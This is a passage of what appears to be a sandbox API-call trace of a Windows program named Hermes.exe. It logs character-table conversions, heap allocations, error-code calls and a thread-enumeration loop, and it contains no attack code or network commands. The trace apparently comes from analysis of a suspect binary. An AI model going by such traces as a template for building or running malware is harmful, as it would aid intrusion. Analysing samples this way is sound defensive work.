| out: lpDestStr=0x0) returned 256 [0048.490] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ픺CĀ", cchSrc=256, lpDestStr=0x19e538, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0048.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19ebf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x6d\x1c\xb7\x2c\xef\x19", lpUsedDefaultChar=0x0) returned 256 [0048.491] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x44e528, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.491] SetLastError (dwErrCode=0x0) [0048.491] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.492] SetLastError (dwErrCode=0x0) [0048.492] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.493] SetLastError (dwErrCode=0x0) [0048.493] GetLastError () returned 0x0 [0048.494] SetLastError (dwErrCode=0x0) [0048.494] GetLastError () returned 0x0 [0048.494] SetLastError (dwErrCode=0x0) [0048.494] GetLastError () returned 0x0 [0048.494] SetLastError (dwErrCode=0x0) [0048.494] GetLastError () returned 0x0 [0048.494] SetLastError (dwErrCode=0x0) [0048.494] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x2b) returned 0x2991768 [0048.494] GetLastError () returned 0x0 [0048.494] SetLastError (dwErrCode=0x0) [0048.494] GetLastError () returned 0x0 [0048.494] SetLastError (dwErrCode=0x0) [0048.494] GetLastError () returned 0x0 [0048.494] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.495] SetLastError (dwErrCode=0x0) [0048.495] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.496] SetLastError (dwErrCode=0x0) [0048.496] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] GetLastError () returned 0x0 [0048.497] SetLastError (dwErrCode=0x0) [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x94) returned 0x29917a0 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x1f) returned 0x2991840 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x28) returned 0x2991868 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x37) returned 0x2991898 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x3c) returned 0x29918d8 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x31) returned 0x2991920 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x14) returned 0x2991960 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x24) returned 0x2991980 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0xd) returned 0x29919b0 [0048.497] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x17) returned 0x29919c8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x2b) returned 0x29919e8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x15) returned 0x2991a20 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x17) returned 0x2991a40 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x22) returned 0x2991a60 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0xe) returned 0x2991a90 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0xc1) returned 0x2991aa8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x3e) returned 0x2991b78 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x1b) returned 0x2991bc0 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x1d) returned 0x2991be8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x48) returned 0x2991c10 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x12) returned 0x2991c60 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x18) returned 0x2991c80 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x1b) returned 0x2991ca0 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x24) returned 0x2991cc8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x29) returned 0x2991cf8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x1e) returned 0x2991d30 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x6b) returned 0x2991d58 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x17) returned 0x2991dd0 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0xf) returned 0x2991df0 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x16) returned 0x2991e08 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x28) returned 0x2991e28 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x27) returned 0x2991e58 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x12) returned 0x2991e88 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x21) returned 0x2991ea8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x10) returned 0x2991ed8 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x1c) returned 0x2991ef0 [0048.498] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x12) returned 0x2991f18 [0048.498] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x29907c8 | out: hHeap=0x2990000) returned 1 [0048.499] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x80) returned 0x2991f38 [0048.499] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x800) returned 0x2991fc0 [0048.500] RtlSizeHeap (HeapHandle=0x2990000, Flags=0x0, MemoryPointer=0x2991f38) returned 0x80 [0048.503] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x50) returned 0x29907c8 [0048.504] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x2c) returned 0x2990820 [0048.504] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x100) returned 0x2990858 [0048.505] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x1c) returned 0x2990960 [0048.505] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x4c) returned 0x2990988 [0048.505] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x148 [0048.514] Thread32First (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.515] GetCurrentProcessId () returned 0xf4c [0048.515] GetCurrentThreadId () returned 0xf30 [0048.515] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.516] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.516] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.517] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.517] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.518] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.519] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.519] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.520] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.521] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.521] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.522] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.522] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.523] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.524] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.525] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.525] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.526] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.526] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.527] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.528] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.528] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.529] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.529] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.530] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.531] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.531] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.532] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.532] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.533] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.534] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.534] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.535] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.536] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.536] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.537] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.537] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.538] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.539] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.539] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.540] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.541] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.541] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.542] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.543] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.543] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.544] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.544] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.545] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.546] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.549] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.549] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.550] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.551] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.551] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.552] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.552] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.553] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.553] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.554] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.554] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.555] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.555] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.557] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.557] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.558] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.558] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.559] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.559] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.560] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.560] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.561] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.561] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.562] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.562] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.563] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.563] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.564] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.564] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.565] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.565] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.566] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.566] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.567] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.567] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.568] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.569] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.569] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.570] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.570] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.571] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.571] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.572] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.572] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.573] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.573] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.574] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.574] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.575] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.575] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.576] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.576] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.577] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.577] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.578] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.579] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.579] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.580] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.580] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.581] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.581] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.582] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.582] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.585] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.585] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.586] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.586] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.587] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.591] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.601] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.602] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.603] Thread32Next (hSnapshot=0x148, 